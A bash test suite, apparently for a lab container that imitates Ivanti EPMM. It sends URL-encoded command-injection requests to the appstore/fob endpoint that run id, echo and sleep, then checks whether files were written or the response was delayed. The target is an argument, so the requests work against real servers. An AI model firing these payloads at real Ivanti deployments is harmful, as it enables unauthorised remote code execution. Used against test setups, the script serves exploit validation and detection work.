#!/bin/bash # # Test script for Ivanti EPMM Dummy Target # TARGET="${1:-http://localhost:8180}" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m' # No Color echo "========================================" echo "Ivanti EPMM Exploit Test Suite" echo "Target: ${TARGET}" echo "========================================" echo "" # Test 1: Health Check echo -e "${YELLOW}[Test 1] Health Check${NC}" HEALTH=$(curl -s "${TARGET}/health") if [[ "$HEALTH" == "OK" ]]; then echo -e "${GREEN}✓ Target is reachable${NC}" else echo -e "${RED}✗ Target not reachable. Is the container running?${NC}" exit 1 fi echo "" # Test 2: File Creation echo -e "${YELLOW}[Test 2] File Creation (id > /mi/poc)${NC}" rm -f artifacts/poc 2>/dev/null PAYLOAD='http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa' echo "Sending: $PAYLOAD" curl -s "${TARGET}/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa" > /dev/null sleep 1 if [[ -f "artifacts/poc" ]]; then echo -e "${GREEN}✓ File created successfully!${NC}" echo "Contents:" cat artifacts/poc else echo -e "${RED}✗ File was not created${NC}" fi echo "" # Test 3: Custom Content echo -e "${YELLOW}[Test 3] Custom Content (echo EXPLOITED > /mi/custom)${NC}" rm -f artifacts/custom 2>/dev/null curl -s "${TARGET}/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20EXPLOITED%20%3E%20/mi/custom%60%5D/test.ipa" > /dev/null sleep 1 if [[ -f "artifacts/custom" ]]; then CONTENT=$(cat artifacts/custom) if [[ "$CONTENT" == *"EXPLOITED"* ]]; then echo -e "${GREEN}✓ Custom content written successfully!${NC}" echo "Contents: $CONTENT" else echo -e "${RED}✗ Content mismatch${NC}" fi else echo -e "${RED}✗ File was not created${NC}" fi echo "" # Test 4: Time-based (optional, takes 3 seconds) echo -e "${YELLOW}[Test 4] Time-based Test (sleep 3)${NC}" echo "This should take approximately 3 seconds..." START_TIME=$(date +%s) curl -s "${TARGET}/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%203%60%5D/test.ipa" > /dev/null END_TIME=$(date +%s) ELAPSED=$((END_TIME - START_TIME)) echo "Elapsed time: ${ELAPSED} seconds" if [[ $ELAPSED -ge 3 ]]; then echo -e "${GREEN}✓ Time-based test passed (command was executed)${NC}" else echo -e "${RED}✗ Response was too fast - command may not have executed${NC}" fi echo "" echo "========================================" echo "Test Suite Complete" echo "========================================"